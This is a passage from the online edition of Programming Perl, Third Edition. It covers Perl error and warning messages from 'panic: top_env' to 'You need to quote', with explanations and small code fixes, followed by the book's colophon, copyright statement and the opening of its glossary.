(P) The sv_insert routine was told to remove more string than there was string.

panic: top_env

(P) The compiler attempted to do a goto, or something weird like that.

panic: yylex

(P) The lexer got into a bad state while processing a case modifier.

panic: %s

(P) An internal error.

Parentheses missing around "%s" list

(W parenthesis) You said something like:

my $foo, $bar = @_;
when you meant:
my ($foo, $bar) = @_;
Remember that my, our, and local bind tighter than the comma.

Perl %3.3f required--this is only version %s, stopped

(F) The module in question uses features of a version of Perl more recent than the currently running version. How long has it been since you upgraded, anyway?

PERL_SH_DIR too long

(F) This is an error peculiar to OS/2. PERL_SH_DIR is the directory that contains the sh shell. See PERL_SH_DIR in the README.os2 file bundled with the Perl distribution.

Permission denied

(F) The setuid emulator in suidperl decided you were up to no good.

pid %x not a child

(W exec) This is a warning peculiar to VMS; waitpid was asked to wait for a process that isn't a subprocess of the current process. While this is fine from VMS's perspective, it's probably not what you intended.

POSIX getpgrp can't take an argument

(F) Your system has POSIX getpgrp, which takes no argument, unlike the BSD version, which takes a PID.

Possible Y2K bug: %s

(W y2k) You are concatenating the number 19 with another number, which could be a potential year 2000 problem.

Possible attempt to put comments in qw() list

(W qw) qw lists contain items separated by whitespace; as with literal strings, comment characters are not ignored but are instead treated as literal data. (You may have used delimiters other than the parentheses shown here; braces are also frequently used.)

You probably wrote something like this:

@list = qw(
    a # a comment
    b # another comment
);
when you should have written this:
@list = qw(
    a
    b
);
If you really want comments, build your list the old-fashioned way, with quotes and commas:
@list = (
    'a',    # a comment
    'b',    # another comment
);

Possible attempt to separate words with commas

(W qw) qw lists contain items separated by whitespace; therefore, commas aren't needed to separate the items. (You may have used delimiters other than the parentheses shown here; braces are also frequently used.)

You probably wrote something like this:

qw( a, b, c );
which puts literal commas into some of the list items. Write it without commas if you don't want them to appear in your data:
qw( a b c );

Possible memory corruption: %s overflowed 3rd argument

(F) An ioctl or fcntl returned more than Perl was bargaining for. Perl guesses a reasonable buffer size but puts a sentinel byte at the end of the buffer just in case. This sentinel byte got clobbered, and Perl assumes that memory is now corrupted.

pragma "attrs" is deprecated, use "sub NAME : ATTRS" instead

(W deprecated) You have written something like this:

sub doit
{
    use attrs qw(locked);
}
You should use the new declaration syntax instead:
sub doit : locked
{
    ...
The use attrs pragma is now obsolete and is only provided for backward compatibility.

Precedence problem: open %s should be open(%s)

(S precedence) The old irregular construct:

open FOO || die;
is now misinterpreted as:
open(FOO || die);
because of the strict regularization of Perl 5's grammar into unary and list operators. (The old open was a little of both.) You must put parentheses around the filehandle or use the new or operator instead of ||.

Premature end of script headers

See Server error.

print() on closed filehandle %s

(W closed) The filehandle you're printing on got itself closed sometime before now. Check your logic flow.

printf() on closed filehandle %s

(W closed) The filehandle you're writing to got itself closed sometime before now. Check your logic flow.

Process terminated by SIG%s

(W) This is a standard message issued by OS/2 applications, while Unix applications die in silence. It is considered a feature of the OS/2 port. One can easily disable this warning by setting appropriate signal handlers. See also "Process terminated by SIGTERM/SIGINT" in the README.os2 file bundled with the Perl distribution.

Prototype mismatch: %s vs %s

(S unsafe) The subroutine being declared or defined had previously been declared or defined with a different function prototype.

Range iterator outside integer range

(F) One (or both) of the numeric arguments of the range operator .. are outside the range that can be represented by integers internally. One possible workaround is to force Perl to use magical string increments by prepending 0 to your numbers.

readline() on closed filehandle %s

(W closed) The filehandle you're reading from got itself closed sometime before now. Check your logic flow.

realloc() of freed memory ignored

(S malloc) An internal routine called realloc on something that had already been freed.

Reallocation too large: %lx

(F) You can't allocate more than 64K on an MS-DOS machine.

Recompile perl with -DDEBUGGING to use -D switch

(F debugging) You can't use the -D option unless the code to produce the desired output is compiled into Perl, which entails some overhead, which is why it's currently left out of your copy.

Recursive inheritance detected in package '%s'

(F) More than 100 levels of inheritance were used. This probably indicates an unintended loop in your inheritance hierarchy.

Recursive inheritance detected while looking for method '%s' in package '%s'

(F) More than 100 levels of inheritance were encountered while a method was invoked. This probably indicates an unintended loop in your inheritance hierarchy.

Reference found where even-sized list expected

(W misc) You gave a single reference when Perl was expecting a list with an even number of elements (for assignment to a hash). This usually means that you used the anonymous hash constructor when you meant to use parens. In any case, a hash requires key/value pairs:

%hash = { one => 1, two => 2, };    # WRONG
%hash = [ qw( an anon array /)];    # WRONG
%hash = ( one => 1, two => 2, );    # right
%hash = qw( one 1 two 2 );          # also fine

Reference is already weak

(W misc) You have attempted to weaken a reference that is already weak. Doing so has no effect.

Reference miscount in sv_replace()

(W internal) The internal sv_replace function was handed a new SV with a reference count of other than 1.

regexp *+ operand could be empty

(F) The part of the regexp subject to either the * or + quantifier could match an empty string.

regexp memory corruption

(P) The regular expression engine got confused by what the regular expression compiler gave it.

regexp out of space

(P) This is a "can't happen" error, because safemalloc should have caught it earlier.

Reversed %s= operator

(W syntax) You wrote your assignment operator backward. The = must always come last, to avoid ambiguity with subsequent unary operators.

Runaway format

(F) Your format contained the ~~ repeat-until-blank sequence, but it produced 200 lines at once, and the 200th line looked exactly like the 199th line. Apparently, you didn't arrange for the arguments to exhaust themselves either by using ^ instead of @ (for scalar variables) or by shifting or popping (for array variables).

Scalar value @%s[%s] better written as $%s[%s]

(W syntax) You've used an array slice (indicated by @) to select a single element of an array. Generally, it's better to ask for a scalar value (indicated by $). The difference is that $foo[&bar] always behaves like a scalar, both when assigning to it and when evaluating its argument, while @foo[&bar] behaves like a list when you assign to it and provides a list context to its subscript, which can do weird things if you're expecting only one subscript.

On the other hand, if you were actually hoping to treat the array element as a list, you need to look into how references work, because Perl will not magically convert between scalars and lists for you.

Scalar value @%s{%s} better written as $%s{%s}

(W syntax) You've used a hash slice (indicated by @) to select a single element of a hash. Generally, it's better to ask for a scalar value (indicated by $). The difference is that $foo{&bar} always behaves like a scalar, both when assigning to it and when evaluating its argument, while @foo{&bar} behaves like a list when you assign to it, and provides a list context to its subscript, which can do weird things if you're expecting only one subscript.

On the other hand, if you were actually hoping to treat the hash element as a list, you need to look into how references work, because Perl will not magically convert between scalars and lists for you.

Script is not setuid/setgid in suidperl

(F) Oddly, the suidperl program was invoked on a script without a setuid or setgid bit set. This doesn't make much sense.

Search pattern not terminated

(F) The lexer couldn't find the final delimiter of a // or m{} construct. Remember that bracketing delimiters count nesting levels. Omitting the leading $ from a variable $m may cause this error.

%s seek() on unopened file

(W unopened) You tried to use the seek or sysseek function on a filehandle that either was never opened or has since been closed.

select not implemented

(F) This machine doesn't implement the select system call.

sem%s not implemented

(F) You don't have System V semaphore IPC on your system.

semi-panic: attempt to dup freed string

(S internal) The internal newSVsv routine was called to duplicate a scalar that had previously been marked as free.

Semicolon seems to be missing

(W semicolon) A nearby syntax error was probably caused by a missing semicolon, or possibly some other missing operator, such as a comma.

send() on closed socket %s

(W closed) The socket you're sending to got itself closed sometime before now. Check your logic flow.

Sequence (? incomplete

(F) A regular expression ended with an incomplete extension (?.

Sequence (?#... not terminated

(F) A regular expression comment must be terminated by a closing parenthesis. Embedded parentheses aren't allowed.

Sequence (?%s...) not implemented

(F) A proposed regular expression extension has reserved the character but has not yet been written.

Sequence (?%s...) not recognized

(F) You used a regular expression extension that doesn't make sense.

Server error

This is the error message generally seen in a browser window when you try to run a CGI program (including SSI) over the web. The actual error text varies widely from server to server. The most frequently seen variants are "500 Server error", "Method(something)not permitted", "Document contains no data", "Premature end of script headers", and "Did not produce a valid header".

This is a CGI error, not a Perl error.

You need to make sure your script is executable, is accessible by the user CGI is running the script under (which is probably not the user account you tested it under), does not rely on any environment variables (like PATH) from the user it isn't running under, and isn't in a location where the CGI server can't find it, basically, more or less. Please see the following for more information:

http://www.perl.com/CPAN/doc/FAQs/cgi/idiots-guide.html
http://www.perl.com/CPAN/doc/FAQs/cgi/perl-cgi-faq.html
ftp://rtfm.mit.edu/pub/usenet/news.answers/www/cgi-faq
http://hoohoo.ncsa.uiuc.edu/cgi/interface.html
http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq.html

You should also look at the Perl FAQ.

setegid() not implemented

(F) You tried to assign to $), but your operating system doesn't support the setegid system call (or equivalent), or at least Configure didn't think so.

seteuid() not implemented

(F) You tried to assign to $>, but your operating system doesn't support the seteuid system call (or equivalent), or at least Configure didn't think so.

setpgrp can't take arguments

(F) Your system has the setpgrp from BSD 4.2, which takes no arguments, unlike POSIX setpgid, which takes a process ID and process group ID.

setrgid() not implemented

(F) You tried to assign to $(, but your operating system doesn't support the setrgid system call (or equivalent), or at least Configure didn't think so.

setruid() not implemented

(F) You tried to assign to $<, but your operating system doesn't support the setruid system call (or equivalent), or at least Configure didn't think so.

setsockopt() on closed socket %s

(W closed) You tried to set a socket option on a closed socket. Did you forget to check the return value of your socket call?

Setuid/gid script is writable by world

(F) The setuid emulator won't run a script that is writable by the world, because the world might have written on it already.

shm%s not implemented

(F) You don't have System V shared memory IPC on your system.

shutdown() on closed socket %s

(W closed) You tried to do a shutdown on a closed socket. Seems a bit superfluous.

SIG%s handler "%s" not defined

(W signal) The signal handler named in %SIG doesn't, in fact, exist. Perhaps you put it into the wrong package?

sort is now a reserved word

(F) An ancient error message that almost nobody ever runs into anymore. But before sort was a keyword, people sometimes used it as a filehandle.

Sort subroutine didn't return a numeric value

(F) A sort comparison routine must return a number. You probably blew it by not using <=> or cmp, or by not using them correctly.

Sort subroutine didn't return single value

(F) A sort comparison subroutine cannot return a list value with more or less than one element.

Split loop

(P) The split was looping infinitely. (Obviously, a split shouldn't iterate more times than there are characters of input, which is what happened.)

Stat on unopened file >%s>

(W unopened) You tried to use the stat function (or an equivalent file test) on a filehandle that either was never opened or has since been closed.

Statement unlikely to be reached

(W exec) You did an exec with some statement after it other than a die. This is almost always an error, because exec never returns unless there was a failure. You probably wanted to use system instead, which does return. To suppress this warning, put the exec in a block by itself.

Strange *+?{} on zero-length expression

(W regexp) You applied a regular expression quantifier in a place where it makes no sense, such as on a zero-width assertion. Try putting the quantifier inside the assertion instead. For example, the way to match abc provided that it is followed by three repetitions of xyz is /abc(?=(?:xyz){3})/, not /abc(?=xyz){3}/.

Stub found while resolving method `%s' overloading `%s' in package `%s'

(P) Overloading resolution over @ISA tree may be broken by importation stubs. Stubs should never be implicitly created, but explicit calls to can may break this.

Subroutine %s redefined

(W redefine) You redefined a subroutine. To suppress this warning, say:

{
    no warnings;
    eval "sub name { ... }";
}

Substitution loop

(P) The substitution was looping infinitely. (Obviously, a substitution shouldn't iterate more times than there are characters of input, which is what happened.)

Substitution pattern not terminated

(F) The lexer couldn't find the interior delimiter of an s/// or s{}{} construct. Remember that bracketing delimiters count nesting levels. Omitting the leading $ from variable $s may cause this error.

Substitution replacement not terminated

(F) The lexer couldn't find the final delimiter of an s/// or s{}{} construct. Remember that bracketing delimiters count nesting levels. Omitting the leading $ from variable $s may cause this error.

substr outside of string

(W substr|F) You tried to reference a substr that pointed outside of a string. That is, the absolute value of the offset was larger than the length of the string. This warning is fatal if substr is used in an lvalue context (as the lefthand side of an assignment or as a subroutine argument, for example).

suidperl is no longer needed since %s

(F) Your Perl was compiled with -DSETUID_SCRIPTS_ARE_SECURE_NOW, but a version of the setuid emulator somehow got run anyway.

switching effective %s is not implemented

(F) While under the use filetest pragma, we cannot switch the real and effective UIDs or GIDs.

syntax error

(F) This message probably means you had a syntax error. Common reasons include:

syntax error at line %d: `%s' unexpected

(A) You've accidentally run your script through the Bourne shell instead of Perl. Check the #! line, or manually feed your script into Perl yourself.

System V %s is not implemented on this machine

(F) You tried to do something with a function beginning with sem, shm, or msg but System V IPC is not implemented in your machine. (In some machines, the functionality can exist but may be unconfigured.)

syswrite() on closed filehandle %s

(W closed) The filehandle you're writing to got itself closed sometime before now. Check your logic flow.

Target of goto is too deeply nested

(F) You tried to use goto to reach a label that was too deeply nested for Perl to reach. Perl is doing you a favor by refusing.

tell() on unopened file

(W unopened) You tried to use the tell function on a filehandle that either was never opened or has since been closed.

Test on unopened file %s

(W unopened) You tried to invoke a file test operator on a filehandle that isn't open. Check your logic.

That use of $[ is unsupported

(F) Assignment to $[ is now strictly circumscribed and interpreted as a compiler directive. You may say only one of:

$[ = 0;
$[ = 1;
...
local $[ = 0;
local $[ = 1;
...
This is to prevent the problem of one module inadvertently changing the array base out from under another module.

The %s function is unimplemented

The function indicated isn't implemented on this architecture, according to the probings of Configure.

The crypt() function is unimplemented due to excessive paranoia

(F) Configure couldn't find the crypt function on your machine, probably because your vendor didn't supply it, probably because they think the U.S. government thinks it's a secret or at least will continue to pretend that it is.

The stat preceding -l _ wasn't an lstat

(F) It makes no sense to test the current stat buffer for symbolic linkhood if the last stat that wrote to the stat buffer already went past the symlink to get to the real file. Use an actual filename instead.

This Perl can't reset CRTL environ elements (%s)
This Perl can't set CRTL environ elements (%s=%s)

(W internal) These are warnings peculiar to VMS. You tried to change or delete an element of the CRTL's internal environ array, but your copy of Perl wasn't built with a CRTL that contained the internal setenv function. You'll need to rebuild Perl with a CRTL that does, or redefine PERL_ENV_TABLES (see perlvms(1)) so that the environ array isn't the target of the change to %ENV that produced the warning.

times not implemented

(F) Your version of the C library apparently doesn't do times. I suspect you're not running on Unix.

Too few args to syscall

(F) There has to be at least one argument to syscall to specify the system call to call, silly dilly.

Too late for "-T" option

(X) The #! line (or local equivalent) in a Perl script contains the -T option, but Perl was not invoked with -T in its command line. This is an error because by the time Perl discovers a -T in a script, it's too late to properly taint everything from the environment. So Perl gives up.

If the Perl script is being executed as a command using the #! mechanism (or its local equivalent), this error can usually be fixed by editing the #! line so that the -T option is a part of Perl's first argument: e.g., change perl -n -T to perl -T -n.

If the Perl script is being executed as perl scriptname, then the -T option must appear on the command line: perl -T scriptname.

Too late for "-%s" option

(X) The #! line (or local equivalent) in a Perl script contains the -M or -m option. This is an error because -M and -m options are not intended for use inside scripts. Use a use declaration instead.

Too late to run %s block

(W void) A CHECK or INIT block is being defined during run time proper, when the opportunity to run them has already passed. Perhaps you are loading a file with require or do when you should be using use instead. Or perhaps you should put the require or do inside a BEGIN block.

Too many ('s
Too many )'s

(A) You've accidentally run your script through csh instead of Perl. Check the #! line, or manually feed your script into Perl yourself.

Too many args to syscall

(F) Perl supports a maximum of only 14 arguments to syscall.

Too many arguments for %s

(F) The function requires fewer arguments than you specified.

trailing \ in regexp

(F) The regular expression ends with an unbackslashed backslash. Backslash it.

Transliteration pattern not terminated

(F) The lexer couldn't find the interior delimiter of a tr/// or tr[][] or y/// or y[][] construct. Omitting the leading $ from variables $tr or $y may cause this error.

Transliteration replacement not terminated

(F) The lexer couldn't find the final delimiter of a tr/// or tr[][] construct.

truncate not implemented

(F) Your machine doesn't implement a file truncation mechanism that Configure knows about.

Type of arg %d to %s must be %s (not %s)

(F) This function requires the argument in that position to be of a certain type. Arrays must be @NAME or @{EXPR}. Hashes must be %NAME or %{EXPR}. No implicit dereferencing is allowed--use the {EXPR} form as an explicit dereference.

umask: argument is missing initial 0

(W umask) A umask of 222 is incorrect. It should be 0222 because octal literals always start with 0 in Perl, as in C.

umask not implemented

(F) Your machine doesn't implement the umask function, and you tried to use it to restrict permissions for yourself (EXPR & 0700).

Unable to create sub named "%s"

(F) You attempted to create or access a subroutine with an illegal name.

Unbalanced context: %d more PUSHes than POPs

(W internal) The exit code detected an internal inconsistency in how many execution contexts were entered and left.

Unbalanced saves: %d more saves than restores

(W internal) The exit code detected an internal inconsistency in how many values were temporarily localized.

Unbalanced scopes: %d more ENTERs than LEAVEs

(W internal) The exit code detected an internal inconsistency in how many blocks were entered and left.

Unbalanced tmps: %d more allocs than frees

(W internal) The exit code detected an internal inconsistency in how many mortal scalars were allocated and freed.

Undefined format "%s" called

(F) The format indicated doesn't seem to exist. Perhaps it's really in another package?

Undefined sort subroutine "%s" called

(F) The sort comparison routine specified doesn't seem to exist. Perhaps it's in a different package?

Undefined subroutine &%s called

(F) The subroutine indicated hasn't been defined, or if it was, it has since been undefined.

Undefined subroutine called

(F) The anonymous subroutine you're trying to call hasn't been defined, or if it was, it has since been undefined.

Undefined subroutine in sort

(F) The sort comparison routine specified is declared but doesn't seem to have been defined yet.

Undefined top format "%s" called

(F) The format indicated doesn't seem to exist. Perhaps it's really in another package?

Undefined value assigned to typeglob

(W misc) An undefined value was assigned to a typeglob, such as *foo = undef. This does nothing. It's possible that you really mean undef *foo.

unexec of %s into %s failed!

(F) The unexec routine failed for some reason. See your local FSF representative, who probably put it there in the first place.

Unknown BYTEORDER

(F) There are no byte-swapping functions for a machine with this byte order.

Unknown open() mode '%s'

(F) The second argument of three-argument open is not in the list of valid modes: <, >, >>, +<, +>, +>>, -|, |-.

Unknown process %x sent message to prime_env_iter: %s

(P) This is an error peculiar to VMS. Perl was reading values for %ENV before iterating over it, and someone else stuck a message in the stream of data Perl expected. Someone's very confused, or perhaps trying to subvert Perl's population of %ENV for nefarious purposes.

unmatched () in regexp

(F) Unbackslashed parentheses must always be balanced in regular expressions. If you're a vi user, the % key is valuable for finding the matching parenthesis.

Unmatched right %s bracket

(F) The lexer counted more closing curly or square brackets than opening ones, so you're probably missing a matching opening bracket. As a general rule, you'll find the missing one (so to speak) near the place you were last editing.

unmatched [] in regexp

(F) The brackets around a character class must match. If you wish to include a closing bracket in a character class, backslash it or put it first.

Unquoted string "%s" may clash with future reserved word

(W reserved) You used a bareword that might someday be claimed as a reserved word. It's best to put such a word in quotes, or capitalize it somehow, or insert an underbar into it. You might also declare it as a subroutine.

Unrecognized character %s

(F) The Perl parser has no idea what to do with the specified character in your Perl script (or eval). Perhaps you tried to run a compressed script, a binary program, or a directory as a Perl program.

Unrecognized escape \\%c passed through

(W misc) You used a backslash-character combination that is not recognized by Perl.

Unrecognized signal name "%s"

(F) You specified a signal name to the kill function that was not recognized. Say kill -l in your shell to see the valid signal names on your system.

Unrecognized switch: -%s (-h will show valid options)

(F) You specified an illegal option to Perl. Don't do that. (If you think you didn't do that, check the #! line to see if it's supplying the bad switch on your behalf.)

Unsuccessful %s on filename containing newline

(W newline) A file operation was attempted on a filename, and that operation failed, probably because the filename contained a newline, probably because you forgot to chop or chomp it off.

Unsupported directory function "%s" called

(F) Your machine doesn't support opendir and readdir.

Unsupported function fork

(F) Your version of executable does not support forking.

Note that under some systems, like OS/2, there may be different flavors of Perl executables, some of which may support fork, some not. Try changing the name you call Perl by to perl_, perl__, and so on.

Unsupported function %s

(F) This machine doesn't implement the indicated function, apparently. At least, Configure doesn't think so.

Unsupported socket function "%s" called

(F) Your machine doesn't support the Berkeley socket mechanism, or at least that's what Configure thought.

Unterminated <> operator

(F) The lexer saw a left angle bracket in a place where it was expecting a term, so it's looking for the corresponding right angle bracket and not finding it. Chances are you left some needed parentheses out earlier in the line, and you really meant a < symbol.

Unterminated attribute parameter in attribute list

(F) The lexer saw an opening (left) parenthesis character while parsing an attribute list, but the matching closing (right) parenthesis character was not found. You may need to add (or remove) a backslash character to get your parentheses to balance.

Unterminated attribute list

(F) The lexer found something other than a simple identifier at the start of an attribute, and it wasn't a semicolon or the start of a block. Perhaps you terminated the parameter list of the previous attribute too soon.

Use of $# is deprecated

(D deprecated) This was an ill-advised attempt to emulate a poorly defined awk feature. Use an explicit printf or sprintf instead.

Use of $* is deprecated

(D deprecated) This variable magically activated multiline pattern matching, both for you and for any luckless subroutine that you happen to call. You should use the //m and //s modifiers now to do that without the dangerous action-at-a-distance effects of $*.

Use of %s in printf format not supported

(F) You attempted to use a feature of printf that is accessible from only C. This usually means there's a better way to do it in Perl.

Use of bare << to mean <<"" is deprecated

(D deprecated) You are now encouraged to use the explicitly quoted form if you wish to use an empty line as the terminator of the here document.

Use of implicit split to @_ is deprecated

(D deprecated) You make a lot of work for the compiler when you clobber a subroutine's argument list, so it's better to assign the results of a split explicitly to an array (or list).

Use of inherited AUTOLOAD for non-method %s() is deprecated

(D deprecated) As an (ahem) accidental feature, AUTOLOAD subroutines were looked up as methods (using the @ISA hierarchy) even when the subroutines to be autoloaded were called as plain functions (e.g., Foo::bar()), not as methods (e.g., Foo->bar() or $obj->bar()).

This bug was rectified in Perl 5.005, which used method lookup only for methods' AUTOLOADs. However, a significant base of existing code may be using the old behavior. So, as an interim step, Perl 5.004 issued this optional warning when nonmethods used inherited AUTOLOADs.

The simple rule is this: inheritance will not work when autoloading nonmethods. The simple fix for old code is this: in any module that used to depend on inheriting AUTOLOAD for nonmethods from a base class named BaseClass, execute *AUTOLOAD = \&BaseClass::AUTOLOAD during startup.

In code that currently says use AutoLoader; @ISA = qw(AutoLoader);, you should remove AutoLoader from @ISA and change use AutoLoader; to use AutoLoader 'AUTOLOAD';.

Use of reserved word "%s" is deprecated

(D deprecated) The indicated bareword is a reserved word. Future versions of Perl may use it as a keyword, so you're better off either explicitly quoting the word in a manner appropriate for its context of use, or using a different name altogether. The warning can be suppressed for subroutine names by either adding an & prefix or using a package qualifier, e.g., &our() or Foo::our().

Use of %s is deprecated

(D deprecated) The construct indicated is no longer recommended, generally because there's a better way to do it, and also because the old way has bad side effects.

Use of uninitialized value%s

(W uninitialized) An undefined value was used as if it were already defined. It was interpreted as a "" or a 0, but maybe it was a mistake. To suppress this warning assign a defined value to your variables.

Useless use of "re" pragma

(W) You did a use re without any arguments. That isn't very useful.

Useless use of %s in void context

(W void) You did something without a side effect in a context that does nothing with the return value, such as a statement that doesn't return a value from a block or the left side of a scalar comma operator. For example, you'd get this if you mixed up your C precedence with Python precedence and said:

$one, $two = 1, 2;
when you meant to say:
($one, $two) = (1, 2);
Another common error is using ordinary parentheses to construct a list reference when you should be using square or curly brackets, for example, if you say:
$array = (1,2);
when you should have said:
$array = [1,2];
The square brackets explicitly turn a list value into a scalar value, while parentheses do not. So when a parenthesized list is evaluated in a scalar context, the comma is treated like C's comma operator, which throws away the left argument, which is not what you want.

untie attempted while %d inner references still exist

(W untie) A copy of the object returned from tie (or tied) was still valid when untie was called.

Value of %s can be "0"; test with defined()

(W misc) In a conditional expression, you used <HANDLE>, <*> (glob), each, or readdir as a Boolean value. Each of these constructs can return a value of "0"; that would make the conditional expression false, which is probably not what you intended. When using these constructs in conditional expressions, test their values with the defined operator.

Value of CLI symbol "%s" too long

(W misc) This is a warning peculiar to VMS. Perl tried to read the value of an %ENV element from a CLI symbol table and found a resultant string longer than 1,024 characters. The return value has been truncated to 1,024 characters.

Variable "%s" is not imported%s

(F) While use strict in effect, you referred to a global variable that you apparently thought was imported from another module, because something else of the same name (usually a subroutine) is exported by that module. It usually means you put the wrong funny character on the front of your variable.

Variable "%s" may be unavailable

(W closure) An inner (nested) anonymous subroutine is inside a named subroutine, and outside that is another subroutine; and the anonymous (innermost) subroutine is referencing a lexical variable defined in the outermost subroutine. For example:

sub outermost { my $a; sub middle { sub { $a } } }
If the anonymous subroutine is called or referenced (directly or indirectly) from the outermost subroutine, it will share the variable as you would expect. But if the anonymous subroutine is called or referenced when the outermost subroutine is not active, it will see the value of the shared variable as it was before and during the first call to the outermost subroutine, which is probably not what you want.

In these circumstances, it is usually best to make the middle subroutine anonymous, using the sub {} syntax. Perl has specific support for shared variables in nested anonymous subroutines; a named subroutine in between interferes with this feature.

Variable "%s" will not stay shared

(W closure) An inner (nested) named subroutine is referencing a lexical variable defined in an outer subroutine.

When the inner subroutine is called, it will probably see the value of the outer subroutine's variable as it was before and during the first call to the outer subroutine; in this case, after the first call to the outer subroutine is complete, the inner and outer subroutines will no longer share a common value for the variable. In other words, the variable will no longer be shared.

Furthermore, if the outer subroutine is anonymous and references a lexical variable outside itself, then the outer and inner subroutines will never share the given variable.

This problem can usually be solved by making the inner subroutine anonymous, using the sub {} syntax. When inner anonymous subs that reference variables in outer subroutines are called or referenced, they are automatically rebound to the current values of such variables.

Variable syntax

(A) You've accidentally run your script through csh instead of Perl. Check the #! line, or manually feed your script into Perl yourself.

Version number must be a constant number

(P) The attempt to translate a use Module n.n LIST statement into its equivalent BEGIN block found an internal inconsistency with the version number.

perl: warning: Setting locale failed.

(S) The whole warning message will look something like:

perl: warning: Setting locale failed.
    perl: warning: Please check that your locale settings:
            LC_ALL = "En_US",
            LANG = (unset)
        are supported and installed on your system.
    perl: warning: Falling back to the standard locale ("C").
(Which locale settings failed will vary.) This error means that Perl detected that you or your system administrator have set up the so-called variable system but Perl could not use those settings. This was not dead serious, fortunately: there is a "default locale" called "C" that Perl can and will use, so the script will be run. Before you really fix the problem, however, you will get the same error message each time you run Perl. How to really fix the problem can be found in perllocale(1), under the section "Locale Problems".

Warning: something's wrong

(W) You passed warn an empty string (the equivalent of warn ""), or you called it with no arguments and $_ was empty.

Warning: unable to close filehandle %s properly

(S) The implicit close done by an open got an error indication on the close. This usually indicates your filesystem ran out of disk space.

Warning: Use of "%s" without parentheses is ambiguous

(S ambiguous) You wrote a unary operator followed by something that looks like a binary operator but could also be interpreted as a term or unary operator. For instance, if you know that the rand function has a default argument of 1.0, and you write:

rand + 5;
you may think you wrote the same thing as:
rand() + 5;
but in actual fact, you got:
rand(+5);
So use parentheses to say what you really mean.

write() on closed filehandle %s

(W closed) The filehandle you're writing to got itself closed sometime before now. Check your logic flow.

X outside of string

(F) You had a pack template that specified a relative position before the beginning of the string being unpacked.

x outside of string

(F) You had a pack template that specified a relative position after the end of the string being unpacked.

Xsub "%s" called in sort

(F) The use of an external subroutine as a sort comparison is not yet supported.

Xsub called in sort

(F) The use of an external subroutine as a sort comparison is not yet supported.

You can't use -l on a filehandle

(F) A filehandle represents an opened file, and when you opened the file, it already went past any symlink you are presumably trying to look for. Use a filename instead.

YOU HAVEN'T DISABLED SET-ID SCRIPTS IN THE KERNEL YET!

(F) And you probably never will, because you probably don't have the sources to your kernel, and your vendor probably doesn't give a rip about what you want. Your best bet is to put a setuid C wrapper around your script with the wrapsuid script in the eg directory of the Perl distribution.

You need to quote "%s"

(W syntax) You assigned a bareword as a signal handler name. Unfortunately, you already have a subroutine of that name declared, which means that Perl 5 will try to call the subroutine when the assignment is executed, which is probably not what you want. (If it is what you want, put an & in front.)

Previous | Home
32.47. User::pwent | Book Index
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Colophon (Programming Perl)

 Programming PerlSearch this book

Colophon

Our look is the result of reader comments, our own experimentation, and feedback from distribution channels. Distinctive covers complement our distinctive approach to technical topics, breathing personality and life into potentially dry subjects.

The animal on the cover of Programming Perl, Third Edition is a dromedary (one-hump camel). Camels are large ruminant mammals, weighing between 1,000 and 1,600 pounds and standing six to seven feet tall at the shoulders. They are well known for their use as draft and saddle animals in the desert regions, especially of Africa and Asia. Camels can go for days without water. If food is scarce, they will eat anything, even their owner's tent. Camels live up to 50 years.

Melanie Wang was the production editor and copyeditor for Programming Perl, Third Edition. Colleen Gorman and Maureen Dempsey provided quality control. Maeve O'Meara, Mary Sheehan, Emily Quill, Jeffrey Holcomb, Ann Schirmer, Colleen Gorman, Darren Kelly, Madeleine Newell, and Betty Hugh provided production support. Ellen Troutman Zaig wrote the index.

Edie Freedman designed the cover of this book using a 19th-century engraving from the Dover Pictorial Archive. Emma Colby produced the cover layout with Quark™XPress 4.1 using Adobe's ITC Garamond font.

Alicia Cech and David Futato designed the interior layout based on a series design by Nancy Priest. The authors' text in POD was converted by Lenny Muellner into DocBook 3.1 SGML. The print version of this book was created by translating the SGML source into a set of gtroff macros using a Perl filter developed at O'Reilly & Associates by Norman Walsh. Steve Talbott designed and wrote the underlying macro set on the basis of the GNU gtroff -ms macros; Lenny Muellner adapted them to SGML and implemented the book design. The GNU groff text formatter version 1.11 was used to generate PostScript output. Mike Sierra provided crucial help with the Chinese and Japanese Unicode characters in Chapter 15, Unicode. The text and heading fonts are ITC Garamond Light and Garamond Book. The illustrations that appear in the book were produced by Robert Romano and Rhon Porter using Macromedia FreeHand 8 and Adobe Photoshop 5.

Previous | Home
Index | Book Index
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Programming Perl -- Copyright Statement (Programming Perl)

 Book Home Programming PerlSearch this book

Copyright © 2001 O'Reilly & Associates, Inc. All rights reserved.

Programming Perl, Third Edition
By Larry Wall, Tom Christiansen, and Jon Orwant
ISBN 0-596-00027-8E

Print book Copyright © 2000 O'Reilly & Associates, Inc. All rights reserved.
Published by O'Reilly & Associates, Inc., 101 Morris Street, Sebastopol, CA 95472.

This electronic publication is intended for use by one individual. As such, you may make copies for your own personal use. However, you may not provide copies to others, or make this publication available to others over a LAN or other network. You may not reprint, offer for sale, or otherwise re-use material from this publication without the explicit written permission of O'Reilly & Associates, Inc.

You can purchase print editions of these books directly from O'Reilly & Associates, Inc. or from bookstores that carry O'Reilly & Associates books.

Logos and Trademarks

The O'Reilly logo is a registered trademark of O'Reilly & Associates, Inc. Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in this book, and O'Reilly & Associates, Inc. was aware of a trademark claim, the designations have been printed in caps or initial caps.

Disclaimer

While every precaution has been taken in the preparation of this product, the publisher assumes no responsibility for errors or omissions, or for damages resulting from the use of the information contained herein.

Questions, comments, and suggestions to bookquestions@ora.com.

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Glossary (Programming Perl)

 Programming PerlSearch this book

Glossary

accessor methods

A method used to indirectly inspect or update an object's state (its instance variables).

actual arguments

The scalar values that you supply to a function or subroutine when you call it. For instance, when you call power("puff"), the string "puff" is the actual argument. See also argument and formal arguments.

address operator

Some languages work directly with the memory addresses of values, but this can be like playing with fire. Perl provides a set of asbestos gloves for handling all memory management. The closest to an address operator in Perl is the backslash operator, but it gives you a hard reference, which is much safer than a memory address.

algorithm

A well-defined sequence of steps, clearly enough explained that even a computer could do them.

alias

